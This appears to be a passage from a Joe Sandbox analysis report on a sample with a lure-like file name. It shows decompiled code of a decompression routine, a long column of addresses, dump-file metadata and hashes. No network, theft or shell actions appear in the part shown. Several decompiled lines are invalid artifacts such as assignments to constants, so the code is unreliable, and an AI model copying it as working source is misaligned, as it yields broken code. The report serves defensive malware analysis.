									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x004070ab
0x004070ab
0x004070af
0x00407166
0x00407169
0x00407175
0x00407056
0x00407056
0x00407059
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00407441
0x00407441
0x00407447
0x00407447
0x00000000
0x0040741c
0x0040741c
0x00407420
0x004075cf
0x00000000
0x004075cf
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00000000
0x0040743e
0x004070b5
0x004070b9
0x004075fa
0x004075fa
0x004075fd
0x00407601
0x00407601
0x004070bf
0x004070c5
0x004070c8
0x004070cc
0x004070cf
0x004070d3
0x00407599
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x00000000
0x004075f6
0x004070d9
0x004070dc
0x004070e2
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x0040710d
0x0040710d
0x0040710d
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x00000000
0x00406dec
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x00000000
0x004073c8
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00000000
0x0040753b
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x00000000
0x00407390
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
Instruction ID: 0a676f48c9952aad729ccf503b6a86ce95496029d8c73069f89f3073be052f6e
Opcode Fuzzy Hash: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
Instruction Fuzzy Hash: C3813471D08228DFDF24CFA8C8847ADBBB1FB44305F24816AD456BB281D778A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 00406FFE Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406FFE() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M00407602))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8));
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
